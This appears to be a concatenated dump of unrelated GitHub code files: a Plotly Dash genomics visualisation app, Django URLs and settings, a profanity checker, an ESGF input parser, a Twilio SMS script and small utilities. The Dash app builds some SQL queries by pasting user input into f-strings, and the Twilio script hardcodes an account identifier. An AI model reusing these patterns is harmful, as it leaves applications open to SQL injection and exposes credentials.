n_clicks_apply_scatter, cell_id, x_axis_val, cond_type, input_val):\r\n # print(\"n clicks scatter apply\", n_clicks_apply_scatter)\r\n if clickData is not None and not n_clicks_apply_scatter:\r\n # Get the rows for the selected 'y_value'\r\n selected_cell_id = clickData['points'][0]['y']\r\n\r\n # i think this is the trouble code\r\n statement = text(\"SELECT cell_id, chrom, start, end_pos, copy_number, modal_corrected, assignment FROM details WHERE cell_id = :param1 ORDER BY cell_id DESC\")\r\n statement = statement.bindparams(param1=selected_cell_id)\r\n\r\n scatter_df = pd.read_sql(statement, engine)\r\n\r\n scatter_fig = go.Figure(data=go.Scatter(\r\n x=[start + cumulative_sizes[chromosomes_names.index(chrom)] for start, chrom in zip(scatter_df['start'], scatter_df['chrom'])],\r\n y=scatter_df['modal_corrected']*scatter_df['assignment'],\r\n mode='markers',\r\n marker=dict(\r\n size=5,\r\n color=scatter_df['copy_number'],\r\n colorscale=colorscale,\r\n cmin=0,\r\n cmax=14,\r\n showscale=True,\r\n colorbar={\"title\": \"Copy Number\"}, \r\n ),\r\n text=chromosomes_names,\r\n hovertemplate='Position: %{x}
Scaled Sequencing Coverage: %{y}',\r\n showlegend=False \r\n ))\r\n\r\n scatter_fig.update_layout(\r\n title='Scatter Plot',\r\n xaxis=dict(\r\n title='Chromosome',\r\n tickvals=cumulative_sizes,\r\n ticktext=chromosomes_names + [''],\r\n tickmode='array',\r\n ticklabelmode='period',\r\n ticklabelposition='outside',\r\n tickformat='d',\r\n range=[0, cumulative_sizes[-1] + chromosome_sizes[-1]], \r\n ),\r\n )\r\n scatter_fig.update_yaxes(title_text=\"Scaled sequencing coverage\")\r\n\r\n return scatter_fig, n_clicks_apply_scatter\r\n \r\n if \"apply-button-scatter\" == ctx.triggered_id:\r\n triggered_component_id = ctx.triggered[0]['prop_id'].split('.')[0]\r\n sql_query = None\r\n if cell_id is not None:\r\n if x_axis_val is None:\r\n sql_query = f\"SELECT cell_id, chrom, start, end_pos, copy_number, modal_corrected, assignment FROM details WHERE cell_id = '{cell_id}' ORDER BY copy_number DESC\"\r\n else:\r\n sql_query = f\"SELECT cell_id, chrom, start, end_pos, copy_number, modal_corrected, assignment FROM details WHERE {x_axis_val} {cond_type} {input_val} AND cell_id = '{cell_id}' ORDER BY copy_number DESC\"\r\n\r\n scatter_df = pd.read_sql(sql_query, engine)\r\n \r\n\r\n # if x_val == None:\r\n \r\n scatter_fig = go.Figure(data=go.Scatter(\r\n x=[start + cumulative_sizes[chromosomes_names.index(chrom)] for start, chrom in zip(scatter_df['start'], scatter_df['chrom'])],\r\n y=scatter_df['modal_corrected']*scatter_df['assignment'],\r\n mode='markers',\r\n marker=dict(\r\n size=5,\r\n color=scatter_df['copy_number'],\r\n colorscale=colorscale,\r\n showscale=True,\r\n colorbar={\"title\": \"Copy Number\"}, \r\n cmin = 0,\r\n cmax = 14\r\n ),\r\n text=chromosomes_names,\r\n hovertemplate='position: %{x}
Scaled Sequencing Coverage: %{y}',\r\n showlegend=False \r\n ))\r\n\r\n scatter_fig.update_layout(\r\n title='Scatter Plot',\r\n xaxis=dict(\r\n title='Chromosome',\r\n tickvals=cumulative_sizes,\r\n ticktext=chromosomes_names + [''],\r\n tickmode='array',\r\n ticklabelmode='period',\r\n ticklabelposition='outside',\r\n tickformat='d',\r\n range=[0, cumulative_sizes[-1] + chromosome_sizes[-1]], \r\n ),\r\n )\r\n scatter_fig.update_yaxes(title_text=\"Scaled sequencing coverage\")\r\n n_clicks_apply_scatter = 0\r\n\r\n return scatter_fig, n_clicks_apply_scatter\r\n\r\n # scatter_fig = go.Figure(data=go.Scatter(\r\n # x=scatter_df[x_val] if x_val != \"chrom\" else [start + cumulative_sizes[chromosomes_names.index(chrom)] for start, chrom in zip(scatter_df['start'], scatter_df['chrom'])],\r\n # y=scatter_df['modal_corrected']*scatter_df['assignment'],\r\n # mode='markers',\r\n # marker=dict(\r\n # size=5,\r\n # color=scatter_df['copy_number'],\r\n # colorscale=colorscale,\r\n # showscale=True,\r\n # colorbar={\"title\": \"Copy Number\"}, \r\n # ),\r\n # text=chromosomes_names,\r\n # hovertemplate='Position: %{x}
Scaled Sequencing Coverage: %{y}',\r\n # showlegend=False \r\n # ))\r\n # n_clicks_apply_scatter = 0\r\n\r\n\r\n return go.Figure(), n_clicks_apply_scatter\r\n\r\n@app.callback(\r\n Output('multiplicity', 'figure'),\r\n [Input('heatmap', 'clickData'),\r\n Input('heatmap-state', 'data')],\r\n [State('cell-id-dropdown', 'value'),\r\n State('x-axis-dropdown-scatter', 'value'),\r\n State('fil-cond-dropdown-scatter', 'value'),\r\n State('input-val-scatter', 'value')]\r\n)\r\ndef update_multiplicity(clickData, heatmap_state, cell_id, x_axis_val, cond_type, input_val):\r\n # print( \"print n clicks apply scatter in multiplicity\",n_clicks_apply_scatter)\r\n if clickData is not None and \"apply-button-scatter\" != ctx.triggered_id:\r\n \r\n # Get the rows for the selected 'y_value'\r\n selected_cell_id = clickData['points'][0]['y']\r\n # HERE CHANGE THE TABLE WE ARE QUERYING FROM\r\n statement = text(\"SELECT cell_id,training_cell_id,ref_condition,modal_ploidy,state,num_bins,two_coverage,total_coverage FROM gpfit WHERE cell_id = :param1\")\r\n statement = statement.bindparams(param1=selected_cell_id)\r\n\r\n multiplicity_df = pd.read_sql(statement, engine)\r\n # print(multiplicity_df.columns)\r\n\r\n\r\n sql_query = text(\"SELECT cell_id,chrom,two,total,copy_number,assignment FROM details WHERE cell_id = :param1\")\r\n\r\n sql_query = sql_query.bindparams(param1=selected_cell_id)\r\n\r\n df_coverage_order = pd.read_sql(sql_query, engine)\r\n df_coverage_order = df_coverage_order.groupby(['copy_number', 'assignment']).apply(get_coverage_order).reset_index()\r\n\r\n df_coverage_order.rename({0: 'order'}, axis=1, inplace=True)\r\n\r\n if max(df_coverage_order['order']) >= 6:\r\n scale_values = 1000000\r\n scale_label = 'Mb'\r\n elif max(df_coverage_order['order']) >= 3:\r\n scale_values = 1000\r\n scale_label = 'Kb'\r\n else:\r\n scale_values = 1\r\n scale_label = 'Bases'\r\n\r\n dfg1 = multiplicity_df[multiplicity_df['state'] == 2]\r\n\r\n dfg1 = dfg1[dfg1['training_cell_id'] != '']\r\n\r\n dfg1 = dfg1[dfg1['ref_condition'] == 'G1']\r\n # print(\"dfg1\",dfg1)\r\n\r\n dfg2 = multiplicity_df[multiplicity_df['state'] == 2]\r\n\r\n dfg2 = dfg2[dfg2['training_cell_id'] != '']\r\n\r\n dfg2 = dfg2[dfg2['ref_condition'] == 'G2']\r\n\r\n dfg_test_1 = multiplicity_df[multiplicity_df['state'] == 2]\r\n\r\n dfg_test_1 = dfg_test_1.loc[dfg_test_1['training_cell_id'].isnull()]\r\n # print(dfg_test_1)\r\n\r\n dfg_test_1 = dfg_test_1[dfg_test_1['ref_condition'] == 'G1']\r\n\r\n dfg_test_2 = multiplicity_df[multiplicity_df['state'] == 2]\r\n\r\n dfg_test_2 = dfg_test_2.loc[dfg_test_2['training_cell_id'].isnull()]\r\n # print(dfg_test_2)\r\n\r\n dfg_test_2 = dfg_test_2[dfg_test_2['ref_condition'] == 'G2']\r\n\r\n multiplicity_fig = make_subplots(rows=1, cols=2, subplot_titles=(\"State 2\",\"State 4\"))\r\n multiplicity_fig.add_trace(go.Scatter(\r\n x=dfg1['total_coverage']/scale_values,\r\n y=dfg1['two_coverage']/scale_values,\r\n mode='markers',\r\n marker=dict(\r\n size=4,\r\n color='#d3d3d3'\r\n ),\r\n showlegend=False\r\n ))\r\n multiplicity_fig.add_trace(go.Scatter(\r\n x=dfg2['total_coverage']/scale_values,\r\n y=dfg2['two_coverage']/scale_values,\r\n mode='markers',\r\n marker=dict(\r\n size=4,\r\n color='#fcc3ac'\r\n ),\r\n showlegend=False\r\n ))\r\n\r\n \r\n if (dfg_test_1.empty or dfg_test_1['num_bins'].iloc[0] == 0):\r\n multiplicity_fig.add_trace(go.Scatter(\r\n ))\r\n else:\r\n multiplicity_fig.add_trace(go.Scatter(\r\n x=dfg_test_1['total_coverage']/scale_values,\r\n y=dfg_test_1['two_coverage']/scale_values,\r\n mode='markers',\r\n marker=dict(\r\n symbol=\"cross\",\r\n size = 17,\r\n color='#d3d3d3'\r\n ),\r\n showlegend=False\r\n ))\r\n \r\n if (dfg_test_2.empty):\r\n multiplicity_fig.add_trace(go.Scatter(\r\n ))\r\n else:\r\n # print(\"dfg_test_2 cross is being put in here\")\r\n multiplicity_fig.add_trace(go.Scatter(\r\n x=dfg_test_2['total_coverage']/scale_values,\r\n y=dfg_test_2['two_coverage']/scale_values,\r\n mode='markers',\r\n marker=dict(\r\n symbol=\"cross\",\r\n size = 17,\r\n color='#fcc3ac'\r\n ),\r\n showlegend=False\r\n ))\r\n # multiplicity_fig.update_layout(\r\n # title='Ploidy coverage curves',\r\n # )\r\n # multiplicity_fig.update_yaxes(title_text=\"Mb covered\")\r\n # multiplicity_fig.update_xaxes(title_text=\"Mb sequenced\")\r\n \r\n\r\n # MULTIPLICITY REF\r\n\r\n dfg1_ref = multiplicity_df[multiplicity_df['state'] == 4]\r\n\r\n dfg1_ref = dfg1_ref[dfg1_ref['training_cell_id'] != '']\r\n\r\n dfg1_ref = dfg1_ref[dfg1_ref['ref_condition'] == 'G1']\r\n\r\n\r\n dfg2_ref = multiplicity_df[multiplicity_df['state'] == 4]\r\n\r\n dfg2_ref = dfg2_ref[dfg2_ref['training_cell_id'] != '']\r\n\r\n dfg2_ref = dfg2_ref[dfg2_ref['ref_condition'] == 'G2']\r\n\r\n\r\n dfg_test_1_ref = multiplicity_df[multiplicity_df['state'] == 4]\r\n\r\n dfg_test_1_ref = dfg_test_1_ref.loc[dfg_test_1_ref['training_cell_id'].isnull()]\r\n\r\n dfg_test_1_ref = dfg_test_1_ref[dfg_test_1_ref['ref_condition'] == 'G1']\r\n\r\n\r\n dfg_test_2_ref = multiplicity_df[multiplicity_df['state'] == 4]\r\n\r\n dfg_test_2_ref = dfg_test_2_ref.loc[dfg_test_2_ref['training_cell_id'].isnull()]\r\n\r\n dfg_test_2_ref = dfg_test_2_ref[dfg_test_2_ref['ref_condition'] == 'G2']\r\n\r\n multiplicity_fig.add_trace(go.Scatter(\r\n x=dfg1_ref['total_coverage']/scale_values,\r\n y=dfg1_ref['two_coverage']/scale_values,\r\n mode='markers',\r\n marker=dict(\r\n size=4,\r\n color='#d3d3d3'\r\n ),\r\n showlegend=False\r\n ),\r\n row=1, col=2)\r\n multiplicity_fig.add_trace(go.Scatter(\r\n x=dfg2_ref['total_coverage']/scale_values,\r\n y=dfg2_ref['two_coverage']/scale_values,\r\n mode='markers',\r\n marker=dict(\r\n size=4,\r\n color='#fcc3ac'\r\n ),\r\n showlegend=False\r\n ),\r\n row=1, col=2)\r\n\r\n\r\n if (dfg_test_1_ref.empty):\r\n multiplicity_fig.add_trace(go.Scatter(\r\n ))\r\n else:\r\n\r\n multiplicity_fig.add_trace(go.Scatter(\r\n x=dfg_test_1_ref['total_coverage']/scale_values,\r\n y=dfg_test_1_ref['two_coverage']/scale_values,\r\n mode='markers',\r\n marker=dict(\r\n symbol=\"cross\",\r\n size = 17,\r\n color='#d3d3d3'\r\n ),\r\n showlegend=False\r\n ),\r\n row=1, col=2)\r\n\r\n if (dfg_test_2_ref.empty or dfg_test_2_ref['num_bins'].iloc[0] == 0):\r\n multiplicity_fig.add_trace(go.Scatter(\r\n ))\r\n else:\r\n\r\n multiplicity_fig.add_trace(go.Scatter(\r\n x=dfg_test_2_ref['total_coverage']/scale_values,\r\n y=dfg_test_2_ref['two_coverage']/scale_values,\r\n mode='markers',\r\n marker=dict(\r\n symbol=\"cross\",\r\n size = 17,\r\n color='#fcc3ac'\r\n ),\r\n showlegend=False\r\n ),\r\n row=1, col=2)\r\n\r\n multiplicity_fig.update_layout(title_text=\"Ploidy Coverage Curves\")\r\n\r\n multiplicity_fig.update_layout(coloraxis=dict(colorscale=colorscale))\r\n\r\n df_2 = multiplicity_df[multiplicity_df['state'] == 2]\r\n df_4 = multiplicity_df[multiplicity_df['state'] == 4]\r\n multiplicity_fig.add_annotation(\r\n xref=\"x domain\",\r\n yref=\"y domain\",\r\n x=0,\r\n y=1,\r\n text=f\"{df_2['num_bins'].iloc[0]} bins\",\r\n showarrow=False,\r\n font=dict(\r\n size=16,\r\n color=\"#000000\"\r\n ),\r\n\r\n row=1,\r\n\r\n col=1\r\n )\r\n multiplicity_fig.add_annotation(\r\n xref=\"x domain\",\r\n yref=\"y domain\",\r\n x=0,\r\n y=1,\r\n text= f\"{df_4['num_bins'].iloc[0]} bins\",\r\n showarrow=False,\r\n font=dict(\r\n size=16,\r\n color=\"#000000\"\r\n ),\r\n row=1,\r\n\r\n col=2\r\n )\r\n return multiplicity_fig\r\n\r\n return go.Figure()\r\n\r\nrun = False\r\nif __name__ == '__main__':\r\n if not run:\r\n run = True\r\n # main()\r\n webbrowser.open_new_tab('http://127.0.0.1:8050/')\r\n print('finished main')\r\n app.run(debug=True, use_reloader=False)\r\n \r\n \r\n","repo_name":"isabelletam/interactive_cancer_data_viz","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":34581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18796263641","text":"import urllib\ndef read_text():\n quotes = open(\"/Users/Subhankar29/Desktop/email_checker/email_checker.txt\")\n contents = quotes.read()\n #print(contents)\n quotes.close()\n check_profanity(contents)\n\ndef check_profanity(text_to_check):\n connection=urllib.urlopen(\"http://www.wdylike.appspot.com/?q=\"+text_to_check)\n output = connection.read()\n #print(output)\n connection.close()\n if \"true\" in output:\n print(\"Profanity Alert!\")\n elif \"false\" in output:\n print(\"This document has no curse word\")\n else:\n print(\"Could not scan the document properly.\")\n\nread_text() \n","repo_name":"Subhankar29/Profanity_Checker","sub_path":"profanity_checker.py","file_name":"profanity_checker.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22144614380","text":"from django.urls import path\nfrom curd.views import *\nurlpatterns= [\n path(r'curdlist/',curd_list,name=\"curd_list\"),\n path(r'curddetail//',curd_detail,name=\"curd_detail\"),\n path(r'curd//',curd,name=\"curd\"),\n \n path(r'deptlist/',dept_list,name=\"dept_list\"),\n path(r'deptdetail//',dept_detail,name=\"dept_detail\"),\n path(r'dept//',dept,name=\"dept\"),\n \n path(r'studentlist/',student_list,name=\"student_list\"),\n path(r'studentdetail//',student_detail,name=\"student_detail\"),\n path(r'student//',student,name=\"student\"),\n]","repo_name":"venugopalgodavarthi/restapi-student-department","sub_path":"curd/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36987178821","text":"def maxSubArraySum(arr,N):\n ma_x = arr[0]\n cur = 0\n for i in range(0,N):\n cur = cur+arr[i]\n if(cur>ma_x):\n ma_x = cur\n if(cur<0):\n cur = 0\n return ma_x\n \ncha = [1,2,3,4,5,6,7,8,9,10]\n\nprint(maxSubArraySum(cha,len(cha)))","repo_name":"mohan89en/Python-learn-OOPs","sub_path":"DSA/KadanesAlgo.py","file_name":"KadanesAlgo.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10877455159","text":"import re\nimport ast\nimport pandas as pd\n\nclass Domain(object):\n \n def __init__(self, dict_domain):\n\n # mandatory parameters. I am sure they are there\n self.id = dict_domain['id']\n self.dimensions = self.__getDimensions(dict_domain)\n\n # the presence of mask and crs depends from users\n try:\n self.mask = dict_domain['mask']\n except KeyError:\n self.mask = 'not_specified'\n\n \n def __getDimensions(self, dict_domain):\n dimensions = {}\n \n # key will be the dimension(lat, lon, ...) name\n for key in dict_domain:\n if key not in ('id', 'mask'):\n dimensions[key] = dict_domain[key]\n \n try:\n dimensions[key]['crs'] = dict_domain[key]['crs']\n except KeyError:\n dimensions[key]['crs'] = 'not_specified'\n \n dimensions = pd.DataFrame.from_dict(dimensions)\n \n return dimensions\n \n \n def __repr__(self):\n info = '''\n id: {0}\n mask: {1} \n dimensions: {2}'''.format(self.id, \n self.mask,\n self.dimensions) \n \n return \"ESGF Input Domain Object \\n\" + info\n\n#-------------------------------\nclass Variable(object):\n \n def __init__(self, dict_variable):\n\n # mandatory parameters. I am sure they are there\n self.uri = dict_variable['uri']\n self.domain = dict_variable['domain']\n self.id = dict_variable['id'].split('|')[0]\n\n # catch if users specifying an internal id alias\n # e.g. pr|v1\n # in case no alias is provided, splitting the id through |\n # will raise an IndexError. In this case, alias = id\n try:\n self.alias = dict_variable['id'].split('|')[1]\n except IndexError:\n self.alias = self.id\n \n \n def __repr__(self):\n info = '''\n uri: {0}\n domain: {1}\n id: {2}\n alias: {3}'''.format(self.uri, \n self.domain, \n self.id, \n self.alias) \n \n return \"ESGF Input Variable Object \\n\" + info\n \n#-------------------------------\nclass Operation(object):\n \n def __init__(self, dict_operation):\n\n # mandatory parameters. I am sure they are there\n self.name = dict_operation['name']\n self.input = dict_operation['input']\n self.axes = dict_operation['axes'].split('|')\n \n \n def __repr__(self):\n info = '''\n name: {0}\n input: {1}\n axes: {2}'''.format(self.name, \n self.input, \n self.axes) \n \n return \"ESGF Input Operation Object \\n\" + info\n \n \nclass EsgfInput(object):\n \n def __init__(self, input_string):\n self.__dataInputs = input_string + ';'\n self.__formattedInputs = self.__formatInput()\n self.__dictInput = self.__dictfy()\n\n def __expandShortcuts(self, data):\n\n #expanding interval shortcut\n while \".]\" in data:\n start = data.find(':[')\n end = data.find('.]', start) +2\n shortcut = data[start:end]\n \n interval = shortcut.replace(\":[\", \"\").replace(\".]\",\"\").replace(\".,\",\",\").split(\",\")\n \n expanded_shorcut = ':{' + '\"start\":{}'.format(interval[0]) + ',\"end\":{}'.format(interval[1]) + ',\"crs\":\"values\",\"step\":\"1\"}'\n\n data = data.replace(shortcut, expanded_shorcut)\n \n #expanding number shortcut\n gex = '(\"(?!(start|end|step)\")\\w+\":)\\s*([.\\d]+)'\n data = re.sub(gex, r'\\1{\"start\":\\3,\"end\":\\3,\"crs\":\"values\",\"step\":\"1\"}', data)\n return data\n\n \n def __formatInput(self):\n dataInputs = self.__dataInputs\n \n formattedInputs = re.sub(r'\\\"input\\\":\\[.*?\\]','\\\"input\\\":\\\"\\\"', dataInputs)\n\n if 'domain=[' in dataInputs:\n #extract the domain section of the input\n domainInputs = re.findall('domain=\\[(.+?)\\];', dataInputs)[0]\n \n expanded_domainInputs =self.__expandShortcuts(domainInputs)\n \n #replacing the esgf dimension input names with those of .nc files\n expanded_domainInputs = expanded_domainInputs.replace('longitude','lon').replace('latitude','lat').replace('level','lev')\n \n #replacing the previous domain section with the extended one\n formattedInputs = formattedInputs.replace(domainInputs, expanded_domainInputs)\n \n return formattedInputs\n \n \n def __add_DomainStep(self, dictInputs):\n for subdomain in dictInputs['domain']:\n for key in dictInputs['domain'][subdomain]:\n if key not in ('id','mask'):\n dimension = key\n dimension_values = dictInputs['domain'][subdomain][dimension]\n if 'step' not in list(dimension_values.keys()):\n dimension_values['step']=1\n \n \n def __restoreOperationInputs(self, dictInputs):\n \n dataInputs = self.__dataInputs\n \n # retrieving the operation's input list\n raw_list = re.findall('\\\"input\\\":\\[(.+?)],', dataInputs)\n for sub_key, element in zip(dictInputs['operation'], raw_list):\n # convert each element in a list\n var_list = element.replace(\"\\\"\",\"\").split(\",\")\n # assign the list to the operation input\n dictInputs['operation'][sub_key]['input'] = var_list\n\n return dictInputs\n\n\n def __dictfy (self):\n \n dataInputs = self.__dataInputs\n\n keywords = re.findall(';(.+?)=', \";\" + dataInputs)\n\n formattedInputs = self.__formattedInputs\n\n dictInputs = {}\n\n # populating the Dictionary with the dataInputs elements\n\n # for each keyword\n for key in keywords:\n value = re.findall('{}=\\[(.+?)\\]'.format(key), formattedInputs)[0]\n\n # numbers of sub_keywords\n sub_num = value.count(',{')\n\n # if there are sub_keywords\n if sub_num > 0:\n\n # create the nested structure: \"subkey2\":{},...,\"subkeyN\":{}\n sub_value = value\n for i in range(2,sub_num + 2):\n\n # create the sub_keyword name, e.g. domain2\n sub_key = key + str(i)\n sub_value = sub_value.replace(',{',',\\\"{}\\\":'.format(sub_key)+'{', 1)\n\n # inserting \"subkey1\":{} at the beginning\n value = '{\\\"' + key + '1\\\":' + sub_value + '}'\n\n # case of no sub_keywords: create the sub_keyword subkey1\n else:\n sub_value = value\n value = '{\\\"' + key + '1\\\":' + sub_value + '}'\n\n # convert the value and write it into the dictionary, under the keyword \"key\"\n dictInputs[key] = ast.literal_eval(value)\n \n if 'domain' in dictInputs:\n # adding step=1 as default value\n self.__add_DomainStep(dictInputs)\n \n if 'operation' in dictInputs:\n # putting the initial operation's input list as element\n self.__restoreOperationInputs(dictInputs)\n\n return dictInputs\n\n\n def getDict(self):\n return self.__dictInput\n\n\n def getDomains(self):\n domain_list = []\n \n for sub_domain in self.__dictInput['domain']:\n \n values = self.__dictInput['domain'][sub_domain]\n domain = Domain(values)\n domain_list.append(domain) \n \n return domain_list\n \n \n def getVariables(self):\n variable_list = []\n \n for sub_variable in self.__dictInput['variable']:\n \n values = self.__dictInput['variable'][sub_variable]\n variable = Variable(values)\n variable_list.append(variable) \n \n return variable_list\n \n \n def getOperations(self):\n operation_list = []\n \n if 'operation' in self.__dictInput:\n for sub_operation in self.__dictInput['operation']:\n \n values = self.__dictInput['operation'][sub_operation]\n operation = Operation(values)\n operation_list.append(operation) \n \n return operation_list \n \n \n def __repr__(self):\n d = self.__dictInput\n \n dictstring = 'ESGF Input Object' + '\\n'\n\n def prettyprint (d, indent, dictstring):\n \n for key, value in d.items():\n dictstring = dictstring + '\\n' + ' ' * indent + ' ' + str(key)\n \n if isinstance(value, dict):\n dictstring = prettyprint(value, indent+1, dictstring)\n \n else:\n dictstring = dictstring + ': ' + str(value)\n \n return dictstring\n \n dictstring=prettyprint(d, 0, dictstring)\n \n return dictstring\n \n","repo_name":"OphidiaBigData/ophidia-esgf-compute-wps","sub_path":"processes/esgfinput.py","file_name":"esgfinput.py","file_ext":"py","file_size_in_byte":9262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29766212758","text":"import struct\n\ndef hexprint(data):\n \"\"\"Return a hexdump-like encoding of @data\"\"\"\n line_sz = 8\n\n lines = len(data) / line_sz\n \n if (len(data) % line_sz) != 0:\n lines += 1\n data += \"\\x00\" * ((lines * line_sz) - len(data))\n\n out = \"\"\n \n for i in range(0, (len(data)/line_sz)):\n out += \"%03i: \" % (i * line_sz)\n\n left = len(data) - (i * line_sz)\n if left < line_sz:\n limit = left\n else:\n limit = line_sz\n \n for j in range(0, limit):\n out += \"%02x \" % ord(data[(i * line_sz) + j])\n\n out += \" \"\n\n for j in range(0, limit):\n char = data[(i * line_sz) + j]\n\n if ord(char) > 0x20 and ord(char) < 0x7E:\n out += \"%s\" % char\n else:\n out += \".\"\n\n out += \"\\n\"\n\n return out\n\ndef bcd_encode(val, bigendian=True, width=None):\n \"\"\"This is really old and shouldn't be used anymore\"\"\"\n digits = []\n while val != 0:\n digits.append(val % 10)\n val /= 10\n\n result = \"\"\n\n if len(digits) % 2 != 0:\n digits.append(0)\n\n while width and width > len(digits):\n digits.append(0)\n\n for i in range(0, len(digits), 2):\n newval = struct.pack(\"B\", (digits[i+1] << 4) | digits[i])\n if bigendian:\n result = newval + result\n else:\n result = result + newval\n \n return result\n\ndef get_dict_rev(thedict, value):\n \"\"\"Return the first matching key for a given @value in @dict\"\"\"\n _dict = {}\n for k, v in thedict.items():\n _dict[v] = k\n return _dict[value]\n","repo_name":"cl4u2/chirp","sub_path":"chirp/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"15396423748","text":"# Given two strings S and T, return if they are equal when both are typed into empty text editors.\n# '#' means a backspace character.\n#\n# Note that after backspacing an empty text, the text will continue empty.\n#\n# Example 1:\n#\n# Input: S = \"ab#c\", T = \"ad#c\"\n# Output: true\n# Explanation: Both S and T become \"ac\".\n# Example 2:\n#\n# Input: S = \"ab##\", T = \"c#d#\"\n# Output: true\n# Explanation: Both S and T become \"\".\n# Example 3:\n#\n# Input: S = \"a##c\", T = \"#a#c\"\n# Output: true\n# Explanation: Both S and T become \"c\".\n# Example 4:\n#\n# Input: S = \"a#c\", T = \"b\"\n# Output: false\n# Explanation: S becomes \"c\" while T becomes \"b\".\n# Note:\n#\n# 1 <= S.length <= 200\n# 1 <= T.length <= 200\n# S and T only contain lowercase letters and '#' characters.\n# Follow up:\n#\n# Can you solve it in O(N) time and O(1) space?\n\nclass Solution:\n def backspaceCompare(self, S: str, T: str) -> bool:\n if not len(S) or not len(T): return False\n\n new_s: str = \"\"\n new_t: str = \"\"\n\n for char in S:\n if char == '#':\n if len(new_s):\n new_s = new_s[:-1]\n else:\n new_s += char\n\n for char in T:\n if char == '#':\n if len(new_t):\n new_t = new_t[:-1]\n else:\n new_t += char\n\n return new_s == new_t\n\n\n# 110 / 110 test cases passed.\n# Status: Accepted\n# Runtime: 24 ms\n# Memory Usage: 13.8 MB\n\n# Your runtime beats 95.77 % of python3 submissions.\n# Your memory usage beats 72.46 % of python3 submissions.\n","repo_name":"eunjungchoi/algorithm","sub_path":"leetcode/challenge/backspace_string_compare.py","file_name":"backspace_string_compare.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"29833667270","text":"# Download the twilio-python library from http://twilio.com/docs/libraries\nfrom twilio.rest import TwilioRestClient\n\n# Find these values at https://twilio.com/user/account\naccount_sid = \"ACbd62608fcc1c7c46e8464b59b59a9b25\"\nauth_token = \"YYYYYYYYYYYYYYYYYY\"\nclient = TwilioRestClient(account_sid, auth_token)\n\nmessage = client.messages.create(to=\"+17816352371\", from_=\"+17812857043\",\n body=\"Hello from Kiley Fischer!\")\n\nprint(message.sid)\n","repo_name":"kfischer1/MIS3640_KFischer","sub_path":"Session 17/send_sms.py","file_name":"send_sms.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"32751410668","text":"import bpf\nimport screen\nimport engine\n\n#bpf_init()\nbpf.execute_set_variable(\"test variable [ height ] = 16\")\nbpf.execute_command(\"print(hello there, 16, twentynine())\")\nbpf.execute_command(\"py_print(~table)\")\n\nrunning = True\nwhile running:\n\tdelta, running = screen.update_pygame()\n\t#bpf_update(delta)\n\t#bpf_draw()\n\tscreen.draw_display()\n\nscreen.quit()\n","repo_name":"VedaRePowered/micro-16","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8551347528","text":"import configparser\nimport os\nfrom kombu import Exchange, Queue\nimport raven\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nconfig_dev_path = os.path.join(BASE_DIR, 'deploy/fbb_dev.conf')\nconfig_prod_path = '/etc/fbb/fbb.conf'\n\nconfig = configparser.RawConfigParser()\nconfig.read((config_dev_path, config_prod_path))\n\n_config_check = lambda x, y: config.has_section(x) and config.has_option(x, y)\nconfig_get = lambda x, y, z=None: _config_check(x, y) and config.get(x, y) or z\n\nSECRET_KEY = config_get('main', 'SECRET_KEY')\n\nDEBUG = False\n\nALLOWED_HOSTS = ['*']\n\n\nPROJECT_APPS = [\n 'api',\n 'fbb_site',\n 'users'\n]\n\nTHIRD_PARTY_APPS = [\n 'allauth',\n 'allauth.account',\n 'allauth.socialaccount',\n 'debug_toolbar',\n 'mptt',\n 'rest_framework',\n 'webpack_loader',\n 'tinymce'\n]\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'raven.contrib.django.raven_compat',\n] + PROJECT_APPS + THIRD_PARTY_APPS\n\nMIDDLEWARE = [\n 'django.middleware.gzip.GZipMiddleware',\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nAUTHENTICATION_BACKENDS = [\n 'django.contrib.auth.backends.ModelBackend',\n 'allauth.account.auth_backends.AuthenticationBackend'\n]\n\nROOT_URLCONF = 'app.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': ['templates'],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth'\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'app.wsgi.application'\n\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'NAME': config_get('database', 'NAME'),\n 'USER': config_get('database', 'USER'),\n 'PASSWORD': config_get('database', 'PASSWORD'),\n 'HOST': config_get('database', 'HOST'),\n 'PORT': config_get('database', 'PORT'),\n 